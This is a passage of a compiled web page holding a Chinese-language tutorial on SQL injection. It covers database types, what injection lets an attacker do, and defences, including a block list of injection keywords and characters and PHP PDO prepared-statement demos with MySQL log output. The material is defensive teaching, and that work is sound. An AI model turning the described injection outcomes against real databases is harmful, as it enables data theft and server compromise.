")"]}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"Oracle"}),"\n",(0,d.jsx)(n.li,{children:"MySql"}),"\n",(0,d.jsx)(n.li,{children:"Microsoft SQL Server"}),"\n",(0,d.jsx)(n.li,{children:"SQLite"}),"\n",(0,d.jsx)(n.li,{children:"PostgreSQL"}),"\n",(0,d.jsx)(n.li,{children:"IBM DB2"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u91c7\u7528\u4e8c\u7ef4\u8868\u7ed3\u6784\u975e\u5e38\u8d34\u8fd1\u6b63\u5e38\u5f00\u53d1\u903b\u8f91\uff08\u5173\u7cfb\u578b\u6570\u636e\u6a21\u578b\u76f8\u5bf9\u5c42\u6b21\u578b\u6570\u636e\u6a21\u578b\u548c\u7f51\u72b6\u578b\u6570\u636e\u6a21\u578b\u7b49\u5176\u4ed6\u6a21\u578b\u6765\u8bf4\u66f4\u5bb9\u6613\u7406\u89e3\uff09\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u652f\u6301\u901a\u7528\u7684SQL\uff08\u7ed3\u6784\u5316\u67e5\u8be2\u8bed\u8a00\uff09\u8bed\u53e5\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u4e30\u5bcc\u7684\u5b8c\u6574\u6027\u5927\u5927\u51cf\u5c11\u4e86\u6570\u636e\u5197\u4f59\u548c\u6570\u636e\u4e0d\u4e00\u81f4\u7684\u95ee\u9898\u3002\u5e76\u4e14\u5168\u90e8\u7531\u8868\u7ed3\u6784\u7ec4\u6210\uff0c\u6587\u4ef6\u683c\u5f0f\u4e00\u81f4\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u53ef\u4ee5\u7528SQL\u53e5\u5b50\u591a\u4e2a\u8868\u4e4b\u95f4\u505a\u975e\u5e38\u7e41\u6742\u7684\u67e5\u8be2\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u63d0\u4f9b\u5bf9\u4e8b\u52a1\u7684\u652f\u6301\uff0c\u80fd\u4fdd\u8bc1\u7cfb\u7edf\u4e2d\u4e8b\u52a1\u7684\u6b63\u786e\u6267\u884c\uff0c\u540c\u65f6\u63d0\u4f9b\u4e8b\u52a1\u7684\u6062\u590d\u3001\u56de\u6eda\u3001\u5e76\u53d1\u63a7\u5236\u548c\u6b7b\u9501\u95ee\u9898\u7684\u89e3\u51b3\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u6570\u636e\u5b58\u50a8\u5728\u78c1\u76d8\u4e2d\uff0c\u5b89\u5168\u53ef\u9760\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.strong,{children:"\u968f\u7740\u4e92\u8054\u7f51\u4f01\u4e1a\u7684\u4e0d\u65ad\u53d1\u5c55\uff0c\u6570\u636e\u65e5\u76ca\u589e\u591a\uff0c\u56e0\u6b64\u5173\u7cfb\u578b\u6570\u636e\u5e93\u9762\u5bf9\u6d77\u91cf\u7684\u6570\u636e\u4f1a\u5b58\u5728\u5f88\u591a\u7684\u4e0d\u8db3\u3002"})}),"\n"]}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u9ad8\u5e76\u53d1\u8bfb\u5199\u80fd\u529b\u5dee\uff1a\u7f51\u7ad9\u7c7b\u7528\u6237\u7684\u5e76\u53d1\u6027\u8bbf\u95ee\u975e\u5e38\u9ad8\uff0c\u800c\u4e00\u53f0\u6570\u636e\u5e93\u7684\u6700\u5927\u8fde\u63a5\u6570\u6709\u9650\uff0c\u4e14\u786c\u76d8 I/O \u6709\u9650\uff0c\u4e0d\u80fd\u6ee1\u8db3\u5f88\u591a\u4eba\u540c\u65f6\u8fde\u63a5\u3002"}),"\n",(0,d.jsxs)(n.li,{children:["\u6d77\u91cf\u6570\u636e\u60c5\u51b5\u4e0b\u8bfb\u5199\u6548\u7387\u4f4e\uff1a\u5bf9",(0,d.jsx)(n.a,{href:"https://cloud.tencent.com/solution/bigdata?from=10680",children:"\u5927\u6570\u636e"}),"\u91cf\u7684\u8868\u8fdb\u884c\u8bfb\u5199\u64cd\u4f5c\u65f6\uff0c\u9700\u8981\u7b49\u5f85\u8f83\u957f\u7684\u65f6\u95f4\u7b49\u5f85\u54cd\u5e94\u3002"]}),"\n",(0,d.jsx)(n.li,{children:"\u53ef\u6269\u5c55\u6027\u4e0d\u8db3\uff1a\u4e0d\u50cfweb server\u548capp server\u90a3\u6837\u7b80\u5355\u7684\u6dfb\u52a0\u786c\u4ef6\u548c\u670d\u52a1\u8282\u70b9\u6765\u62d3\u5c55\u6027\u80fd\u548c\u8d1f\u8377\u5de5\u4f5c\u80fd\u529b\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u6570\u636e\u6a21\u578b\u7075\u6d3b\u5ea6\u4f4e\uff1a\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u6570\u636e\u6a21\u578b\u5b9a\u4e49\u4e25\u683c\uff0c\u65e0\u6cd5\u5feb\u901f\u5bb9\u7eb3\u65b0\u7684\u6570\u636e\u7c7b\u578b\uff08\u9700\u8981\u63d0\u524d\u77e5\u9053\u9700\u8981\u5b58\u50a8\u4ec0\u4e48\u6837\u7c7b\u578b\u7684\u6570\u636e\uff09\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h3,{id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93nosql",children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff08NOSQL\uff09"}),"\n",(0,d.jsx)(n.h4,{id:"\u4ec0\u4e48\u662fnosql\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93",children:"\u4ec0\u4e48\u662f\uff08NOSQL\uff09\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff1a"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u53c8\u88ab\u79f0\u4e3a NoSQL\uff08Not Only SQL )\uff0c\u610f\u4e3a\u4e0d\u4ec5\u4ec5\u662f SQL\u3002\u901a\u5e38\u6307\u6570\u636e\u4ee5\u5bf9\u8c61\u7684\u5f62\u5f0f\u5b58\u50a8\u5728\u6570\u636e\u5e93\u4e2d\uff0c\u800c\u5bf9\u8c61\u4e4b\u95f4\u7684\u5173\u7cfb\u901a\u8fc7\u6bcf\u4e2a\u5bf9\u8c61\u81ea\u8eab\u7684\u5c5e\u6027\u6765\u51b3\u5b9a\uff0c\u5e38\u7528\u4e8e\u5b58\u50a8\u975e\u7ed3\u6784\u5316\u7684\u6570\u636e\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u5e38\u89c1\u7684nosql\u6570\u636e\u5e93",children:"\u5e38\u89c1\u7684NOSQL\u6570\u636e\u5e93"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u952e\u503c\u6570\u636e\u5e93\uff1aRedis\u3001Memcached\u3001Riak"}),"\n",(0,d.jsxs)(n.li,{children:["\u5217\u65cf\u6570\u636e\u5e93\uff1aBigtable\u3001",(0,d.jsx)(n.a,{href:"https://cloud.tencent.com/product/hbase?from=10680",children:"HBase"}),"\u3001Cassandra"]}),"\n",(0,d.jsx)(n.li,{children:"\u6587\u6863\u6570\u636e\u5e93\uff1aMongoDB\u3001CouchDB\u3001MarkLogic"}),"\n",(0,d.jsx)(n.li,{children:"\u56fe\u5f62\u6570\u636e\u5e93\uff1aNeo4j\u3001InfoGrid"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5b58\u50a8\u6570\u636e\u7684\u683c\u5f0f\u53ef\u4ee5\u662f key-value \u5f62\u5f0f\u3001\u6587\u6863\u5f62\u5f0f\u3001\u56fe\u7247\u5f62\u5f0f\u7b49\u3002\u4f7f\u7528\u7075\u6d3b\uff0c\u5e94\u7528\u573a\u666f\u5e7f\u6cdb\uff0c\u800c\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5219\u53ea\u652f\u6301\u57fa\u7840\u7c7b\u578b\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u901f\u5ea6\u5feb\uff0c\u6548\u7387\u9ad8\u3002 NoSQL \u53ef\u4ee5\u4f7f\u7528\u786c\u76d8\u6216\u8005\u968f\u673a\u5b58\u50a8\u5668\u4f5c\u4e3a\u8f7d\u4f53\uff0c\u800c\u5173\u7cfb\u578b\u6570\u636e\u5e93\u53ea\u80fd\u4f7f\u7528\u786c\u76d8\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u6d77\u91cf\u6570\u636e\u7684\u7ef4\u62a4\u548c\u5904\u7406\u975e\u5e38\u8f7b\u677e\uff0c\u6210\u672c\u4f4e\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5177\u6709\u6269\u5c55\u7b80\u5355\u3001\u9ad8\u5e76\u53d1\u3001\u9ad8\u7a33\u5b9a\u6027\u3001\u6210\u672c\u4f4e\u5ec9\u7684\u4f18\u52bf\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u53ef\u4ee5\u5b9e\u73b0\u6570\u636e\u7684\u5206\u5e03\u5f0f\u5904\u7406\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u6682\u65f6\u4e0d\u63d0\u4f9b SQL \u652f\u6301\uff0c\u5b66\u4e60\u548c\u4f7f\u7528\u6210\u672c\u8f83\u9ad8\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u975e\u5173\u7cfb\u6570\u636e\u5e93\u6ca1\u6709\u4e8b\u52a1\u5904\u7406\uff0c\u65e0\u6cd5\u4fdd\u8bc1\u6570\u636e\u7684\u5b8c\u6574\u6027\u548c\u5b89\u5168\u6027\u3002\u9002\u5408\u5904\u7406\u6d77\u91cf\u6570\u636e\uff0c\u4f46\u662f\u4e0d\u4e00\u5b9a\u5b89\u5168\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u529f\u80fd\u6ca1\u6709\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5b8c\u5584\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u590d\u6742\u8868\u5173\u8054\u67e5\u8be2\u4e0d\u5bb9\u6613\u5b9e\u73b0\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u6f0f\u6d1e\u5371\u5bb3",children:"\u6f0f\u6d1e\u5371\u5bb3"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsxs)(n.li,{children:["\u83b7\u53d6\u6570\u636e\u5e93\u8bbf\u95ee\u6743\u9650\uff0c\u751a\u81f3\u83b7\u5f97DBA\u6743\u9650\uff0c\u4ece\u800c\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u7684\u6240\u6709\u6570\u636e\uff0c\u9020\u6210\u4fe1\u606f\u6cc4\u6f0f\uff1b\uff08",(0,d.jsx)(n.strong,{children:"\u53ef\u83b7\u53d6\u6570\u636e"}),"\uff09"]}),"\n",(0,d.jsxs)(n.li,{children:["\u5bf9\u6570\u636e\u5e93\u7684\u6570\u636e\u8fdb\u884c\u589e\u52a0\u3001\u5220\u9664\u3001\u4fee\u6539\u64cd\u4f5c\uff0c\u4f8b\u5982\u5220\u9664\u6570\u636e\u5e93\u4e2d\u91cd\u8981\u6570\u636e\u7684\u8868\uff08",(0,d.jsx)(n.strong,{children:"\u53ef\u8fdb\u884c\u589e\u5220\u6539\u64cd\u4f5c"}),"\uff09"]}),"\n",(0,d.jsxs)(n.li,{children:["\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u7684\u6570\u636e\u5e93\u8bed\u53e5\uff0c\u53ef\u64cd\u4f5c\u6570\u636e\u5e93\u8fdb\u5165\u540e\u53f0\u6216\u8005\u63d2\u5165\u6728\u9a6c\uff0c\u4ee5\u83b7\u53d6\u6574\u4e2a\u7f51\u7ad9\u548c\u6570\u636e\u5e93\u7684\u63a7\u5236\u6743\u9650\uff0c\u7be1\u6539\u7f51\u9875\uff0c\u53d1\u5e03\u4e0d\u826f\u4fe1\u606f\u7b49\uff1b\uff08",(0,d.jsx)(n.strong,{children:"\u53ef\u83b7\u53d6\u7f51\u7ad9\u6743\u9650"}),"\uff09"]}),"\n",(0,d.jsxs)(n.li,{children:["\u83b7\u53d6\u670d\u52a1\u5668\u6700\u9ad8\u6743\u9650\uff0c\u8fdc\u7a0b\u63a7\u5236\u670d\u52a1\u5668\uff0c\u751a\u81f3\u5bfc\u81f4\u5c40\u57df\u7f51(\u5185\u7f51)\u88ab\u5165\u4fb5\uff1b\uff08",(0,d.jsx)(n.strong,{children:"\u53ef\u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650"}),"\uff09"]}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u4fee\u590d\u5efa\u8bae",children:"\u4fee\u590d\u5efa\u8bae"}),"\n",(0,d.jsx)(n.h3,{id:"\u4ee3\u7801\u5c42\u9762",children:"\u4ee3\u7801\u5c42\u9762"}),"\n",(0,d.jsx)(n.h4,{id:"\u8f93\u5165\u8fc7\u6ee4\u6b63\u5219\u8fc7\u6ee4",children:"\u8f93\u5165\u8fc7\u6ee4\uff08\u6b63\u5219\u8fc7\u6ee4\uff09"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u4e25\u683c\u63a7\u5236\u8f93\u5165\u6570\u636e\u7684\u7c7b\u578b\uff1b\u5982\u901a\u8fc7id\u83b7\u53d6\u7528\u6237\u4fe1\u606f\u65f6\uff0c\u4ec5\u5141\u8bb8\u4f20\u5165\u7684id\u4e3a\u6574\u578b"}),"\n",(0,d.jsx)(n.li,{children:"\u4e25\u683c\u63a7\u5236\u8f93\u5165\u6570\u636e\u7684\u957f\u5ea6\uff1b\u5982\u9650\u5236\u7528\u6237\u540d\u957f\u5ea6\u5e94\u5c0f\u4e8e20"}),"\n",(0,d.jsxs)(n.li,{children:["\u8f93\u5165\u5408\u6cd5\u6027\u5224\u65ad\uff1b\u7981\u6b62\u51fa\u73b0\u4e00\u4e9b\u7279\u6b8a\u5b57\u7b26\u6216\u5173\u952e\u8bcd\uff0c\u5982",(0,d.jsx)(n.code,{children:"'"}),"\uff0c",(0,d.jsx)(n.code,{children:'"'}),"\uff0c",(0,d.jsx)(n.code,{children:"\\"}),"\uff0c",(0,d.jsx)(n.code,{children:"<"}),"\uff0c",(0,d.jsx)(n.code,{children:">"}),"\uff0c",(0,d.jsx)(n.code,{children:"&"}),"\uff0c",(0,d.jsx)(n.code,{children:"*"}),"\uff0c",(0,d.jsx)(n.code,{children:";"}),"\uff0c",(0,d.jsx)(n.code,{children:"#"}),"\uff0c",(0,d.jsx)(n.code,{children:"select"}),"\uff0c",(0,d.jsx)(n.code,{children:"from"}),"\uff0c",(0,d.jsx)(n.code,{children:"where"}),"\uff0c",(0,d.jsx)(n.code,{children:"sub"}),"\uff0c",(0,d.jsx)(n.code,{children:"if"}),"\uff0c",(0,d.jsx)(n.code,{children:"union"}),"\uff0c",(0,d.jsx)(n.code,{children:"sleep"}),"\uff0c",(0,d.jsx)(n.code,{children:"and"}),"\uff0c",(0,d.jsx)(n.code,{children:"or"}),"\u7b49"]}),"\n",(0,d.jsx)(n.li,{children:"\u5bf9\u6240\u6709\u53ef\u80fd\u7684\u8f93\u5165\u70b9\u8fdb\u884c\u5224\u65ad\u68c0\u6d4b\uff0c\u5982UA\u3001IP\u3001Cookie\u7b49"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u9884\u7f16\u8bd1sql\u8bed\u53e5\u53c2\u6570\u5316\u67e5\u8be2",children:"\u9884\u7f16\u8bd1SQL\u8bed\u53e5(\u53c2\u6570\u5316\u67e5\u8be2)"}),"\n",(0,d.jsx)(n.p,{children:"\u53c2\u6570\u5316\u67e5\u8be2\u662f\u4e00\u79cd\u67e5\u8be2\u7c7b\u578b\uff0c\u5176\u4e2d\u5360\u4f4d\u7b26\u7528\u4e8e\u586b\u5145\u53c2\u6570\uff0c\u53c2\u6570\u503c\u5728\u6267\u884c\u65f6\u63d0\u4f9b\u3002\u539f\u7406\u662f\u91c7\u7528\u4e86\u9884\u7f16\u8bd1\u7684\u65b9\u6cd5\uff0c\u5148\u5c06SQL\u8bed\u53e5\u4e2d\u53ef\u88ab\u7528\u6237\u63a7\u5236\u7684\u53c2\u6570\u96c6\u8fdb\u884c\u7f16\u8bd1\uff0c\u751f\u6210\u5bf9\u5e94\u7684\u4e34\u65f6\u53d8\u91cf\u96c6\uff0c\u518d\u4f7f\u7528\u5bf9\u5e94\u7684\u8bbe\u7f6e\u65b9\u6cd5\uff0c\u4e3a\u4e34\u65f6\u53d8\u91cf\u96c6\u91cc\u9762\u7684\u5143\u7d20\u8fdb\u884c\u8d4b\u503c\uff0c\u8d4b\u503c\u8fc7\u7a0b\u4e2d\u4f1a\u5bf9\u4f20\u5165\u7684\u53c2\u6570\u8fdb\u884c\u5f3a\u5236\u7c7b\u578b\u68c0\u67e5\u548c\u5b89\u5168\u68c0\u67e5\u3002"}),"\n",(0,d.jsxs)(n.p,{children:["\u6240\u6709\u4e0e\u6570\u636e\u5e93\u4ea4\u4e92\u7684\u4e1a\u52a1\u63a5\u53e3\u5747\u91c7\u7528\u53c2\u6570\u5316\u67e5\u8be2\uff0c\u53c2\u6570\u5316\u7684\u8bed\u53e5\u4f7f\u7528\u53c2\u6570\u800c\u4e0d\u662f\u5c06\u7528\u6237\u8f93\u5165\u53d8\u91cf\u76f4\u63a5\u5d4c\u5165\u5230SQL\u8bed\u53e5\u4e2d\uff0c\u53c2\u6570\u5316\u67e5\u8be2\u662f\u9632\u5fa1SQL\u6ce8\u5165\u7684\u6700\u4f73\u65b9\u6cd5\uff0c\u6bd4\u5982\uff1aJava\u4e2d\u7684",(0,d.jsx)(n.code,{children:"PreparedStatement"}),"\uff0cPHP\u4e2d\u7684",(0,d.jsx)(n.code,{children:"PDO"}),"\u7b49\u3002"]}),"\n",(0,d.jsx)(n.h5,{id:"\u9884\u7f16\u8bd1\u4ee5\u53ca\u539f\u7406",children:"\u9884\u7f16\u8bd1\u4ee5\u53ca\u539f\u7406"}),"\n",(0,d.jsxs)(n.p,{children:["\u9884\u7f16\u8bd1\u662f\u6307\u5728\u521b\u5efa\u6570\u636e\u5e93\u5bf9\u8c61\u65f6\u5c31\u5c06\u6307\u5b9a\u7684SQL\u8bed\u53e5\u7f16\u8bd1\u5b8c\u6210\uff0c\u8fd9\u65f6SQL\u8bed\u53e5\u5df2\u7ecf\u88ab",(0,d.jsx)(n.code,{children:"\u89e3\u6790\u3001\u5ba1\u67e5"}),"\uff0c\u6240\u4ee5\u76f8\u5bf9\u4f20\u7edf\u7684\u6267\u884c\u65b9\u5f0f(\u6bcf\u5904\u7406\u4e00\u4e2aSQL\u8bed\u53e5\u5c31\u8981\u89e3\u6790SQL\u8bed\u53e5\u3001\u68c0\u67e5\u8bed\u6cd5\u548c\u8bed\u4e49)\uff0c\u9884\u7f16\u8bd1\u65b9\u5f0f\u5728\u6267\u884c\u6570\u636e\u63d2\u5165\u3001\u66f4\u65b0\u6216\u8005\u5220\u9664\u64cd\u4f5c\u7684\u65f6\u5019\uff0c\u6267\u884c\u6548\u7387\u66f4\u9ad8\u3002"]}),"\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.code,{children:"\u4e3a\u4ec0\u4e48\u9884\u7f16\u8bd1\u80fd\u8ba9\u4f20\u5165\u7684\u6570\u636e\u53ea\u80fd\u662f\u6570\u636e\uff0c\u5b83\u7684\u5e95\u5c42\u539f\u7406\u662f\u600e\u6837\u7684\uff1f"})}),"\n",(0,d.jsxs)(n.p,{children:["\u901a\u5e38\u6765\u8bf4\uff0c\u4e00\u6761SQL\u8bed\u53e5\u4ece\u4f20\u5165\u5230\u8fd0\u884c\u7ecf\u5386\u4e86\u751f\u6210",(0,d.jsx)(n.code,{children:"\u8bed\u6cd5\u6811\u3001\u6267\u884c\u8ba1\u5212\u4f18\u5316\u3001\u6267\u884c"}),"\u8fd9\u51e0\u4e2a\u9636\u6bb5\u3002\u5728\u9884\u7f16\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u6570\u636e\u5e93\u9996\u5148\u63a5\u6536\u5230\u5e26\u6709\u9884\u7f16\u8bd1\u5360\u4f4d\u7b26",(0,d.jsx)(n.code,{children:"?"}),"\u7684SQL\u8bed\u53e5\uff0c\u89e3\u6790",(0,d.jsx)(n.code,{children:"\u751f\u6210\u8bed\u6cd5\u6811(Lex)"}),"\uff0c\u5e76\u7f13\u5b58\u5728",(0,d.jsx)(n.code,{children:"cache"}),"\u4e2d\uff0c\u7136\u540e\u63a5\u6536\u5bf9\u5e94\u7684\u53c2\u6570\u4fe1\u606f\uff0c\u4ece",(0,d.jsx)(n.code,{children:"cache"}),"\u4e2d\u53d6\u51fa\u8bed\u6cd5\u6811\u8bbe\u7f6e\u53c2\u6570\uff0c\u7136\u540e\u518d\u8fdb\u884c\u4f18\u5316\u548c\u6267\u884c\u3002\u7531\u4e8e\u53c2\u6570\u4fe1\u606f\u4f20\u5165\u524d\u8bed\u6cd5\u6811\u5c31\u5df2\u751f\u6210\uff0c\u6267\u884c\u7684\u8bed\u6cd5\u7ed3\u6784\u4e5f\u5c31\u65e0\u6cd5\u56e0\u53c2\u6570\u800c\u6539\u53d8\uff0c\u81ea\u7136\u4e5f\u5c31\u675c\u7edd\u4e86SQL\u6ce8\u5165\u7684\u51fa\u73b0."]}),"\n",(0,d.jsx)(n.h5,{id:"pdo",children:"PDO"}),"\n",(0,d.jsx)(n.p,{children:"PDO\u9488\u5bf9\u9884\u7f16\u8bd1\u63d0\u4f9b\u4e86\u4e24\u79cd\u6a21\u5f0f\uff1a\u672c\u5730\u9884\u7f16\u8bd1\u548c\u6a21\u62df\u9884\u7f16\u8bd1\u3002"}),"\n",(0,d.jsxs)(n.p,{children:["\u6a21\u62df\u9884\u7f16\u8bd1\uff1a\u672c\u8eab\u4e0d\u662f\u4e00\u79cd\u771f\u6b63\u7684\u9884\u7f16\u8bd1\uff0c\u5b83\u662f\u4e3a\u4e86\u517c\u5bb9\u4e0d\u652f\u6301\u9884\u7f16\u8bd1\u7684\u6570\u636e\u5e93\uff0c\u5c06\u7528\u6237\u8f93\u5165\u7684\u53c2\u6570\u8fdb\u884c\u8f6c\u4e49\uff0c\u62fc\u63a5\u5230\u6570\u636e\u5e93\uff0c\u7531",(0,d.jsx)(n.code,{children:"\u6570\u636e\u5e93\u6b63\u5e38\u89e3\u6790\u6267\u884c"}),"\u3002\u6240\u4ee5\u5b83\u7684",(0,d.jsx)(n.code,{children:"\u9884\u7f16\u8bd1"})," \u64cd\u4f5c\u662f\u7531pdo \u5b8c\u6210\u7684 \u6570\u636e\u5e93\u672c\u8eab\u6ca1\u6709\u53c2\u4e0e\u9884\u7f16\u8bd1 ",(0,d.jsx)(n.strong,{children:"\u5e76\u4e14\u8fd9\u662fPDO\u7684\u9ed8\u8ba4\u6a21\u5f0f"})]}),"\n",(0,d.jsx)(n.h5,{id:"\u6f14\u793a",children:"\u6f14\u793a"}),"\n",(0,d.jsx)(n.p,{children:"1\u3001\u5f00\u542fMySQL\u65e5\u5fd7\uff0c\u67e5\u770b\u65e5\u5fd7"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-php",children:"prepare($sql);\n\n$pdos->bindParam(1,$_GET['id']);\n$pdos->execute();\n\nvar_dump($pdos->fetchAll());\n"})}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{children:"2021-11-28T05:29:59.198823Z\t 9 Connect\troot@localhost on ctf using TCP/IP\n2021-11-28T05:29:59.199095Z\t 9 Query\tselect * from admin where id ='\\''\n2021-11-28T05:29:59.199806Z\t 9 Quit\t\n"})}),"\n",(0,d.jsxs)(n.p,{children:["\u5982\u65e5\u5fd7\u6240\u793a\uff0cmysql\u672c\u8eab\u6ca1\u6709\u9884\u7f16\u8bd1\u64cd\u4f5c\uff0c\u53ea\u6709",(0,d.jsx)(n.code,{children:"\u8fde\u63a5"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u67e5\u8be2"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u5173\u95ed"})," \u4e09\u4e2a\u64cd\u4f5c\u3002"]}),"\n",(0,d.jsx)(n.p,{children:"2\u3001\u5f00\u542f\u672c\u5730\u9884\u7f16\u8bd1\u6a21\u5f0f"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-php",children:" setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n//$sql = 'select * from admin where id =\\''.$id.'\\'';\n$sql =\"select * from admin where id =?\";\n\n$pdos = $conn ->prepare($sql);\n\n$pdos->bindParam(1,$_GET['id']);\n$pdos->execute();\n\nvar_dump($pdos->fetchAll());\n"})}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{children:"2021-11-28T05:36:24.438190Z\t 10 Connect\troot@localhost on ctf using TCP/IP\n2021-11-28T05:36:24.439940Z\t 10 Prepare\tselect * from admin where id =?\n2021-11-28T05:36:24.440013Z\t 10 Execute\tselect * from admin where id ='\\''\n2021-11-28T05:36:24.440433Z\t 10 Close stmt\t\n2021-11-28T05:36:24.440474Z\t 10 Quit\t\n"})}),"\n",(0,d.jsxs)(n.p,{children:["\u5982\u65e5\u5fd7\u6240\u793a\uff0c\u6574\u4e2a\u6d41\u7a0b\u5206\u4e3a\u4e94\u90e8 ",(0,d.jsx)(n.code,{children:"\u8fde\u63a5"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u9884\u7f16\u8bd1"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u4f20\u5165\u53c2\u6570\u6267\u884c"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u5173\u95ed\u9884\u7f16\u8bd1\u8bed\u53e5"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u5173\u95ed\u6570\u636e\u5e93"})]}),"\n",(0,d.jsx)(n.h5,{id:"0x04-\u5371\u5bb3",children:"0x04 \u5371\u5bb3"}),"\n",(0,d.jsxs)(n.p,{children:["\u5982\u679c\u4f7f\u7528\u6a21\u62df\u9884\u7f16\u8bd1\u6a21\u5f0f \uff0c\u5219\u53ef\u80fd\u4f1a\u5bfc\u81f4\u51fa\u73b0",(0,d.jsx)(n.code,{children:"\u5bbd\u5b57\u8282\u6ce8\u5165\u6f0f\u6d1e"}),",",(0,d.jsx)(n.code,{children:"\u4e8c\u6b21\u6ce8\u5165\u6f0f\u6d1e"}),"(\u4e4b\u524d\u6587\u7ae0\u5199\u5230)"]}),"\n",(0,d.jsxs)(n.p,{children:["1\u3001",(0,d.jsx)(n.a,{href:"https://wjlin0.com/archives/sql%E4%BA%8C%E6%AC%A1%E6%B3%A8%E5%85%A5",children:"sql\u4e8c\u6b21\u6ce8\u5165 - wjlin0"})]}),"\n",(0,d.jsxs)(n.p,{children:["2\u3001",(0,d.jsx)(n.a,{href:"https://wjlin0.com/archives/sql%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5",children:"sql\u5bbd\u5b57\u8282\u6ce8\u5165 - wjlin0"})]}),"\n",(0,d.jsx)(n.h5,{id:"0x05-\u603b\u7ed3",children:"0x05 \u603b\u7ed3"}),"\n",(0,d.jsxs)(n.p,{children:["1\u3001\u672c\u6b21\u4e86\u89e3mysql\u7684\u9884\u7f16\u8bd1\u5904\u7406\u80fd\u591f\u4f7f\u7528\u6237\u4f20\u5165\u7684\u6570\u636e\u53ea\u80fd\u662f\u6570\u636e\uff0c\u800c\u9884\u7f16\u8bd1\u662f\u63d0\u524d\u751f\u6210",(0,d.jsx)(n.strong,{children:"\u8bed\u6cd5\u6811"})," \u4f7f\u5176\u7528\u6237\u4e0d\u80fd\u6539\u53d8\u539f\u6709\u7684\u8bed\u6cd5\u7ed3\u6784\uff0c\u4ece\u800c\u9884\u9632\u4e86SQL\u6ce8\u5165\u7684\u4ea7\u751f\u3002"]}),"\n",(0,d.jsxs)(n.p,{children:["2\u3001\u4e86\u89e3\u4e86PHP\u7684PDO\u4e24\u79cd\u9884\u7f16\u8bd1\u6a21\u5f0f 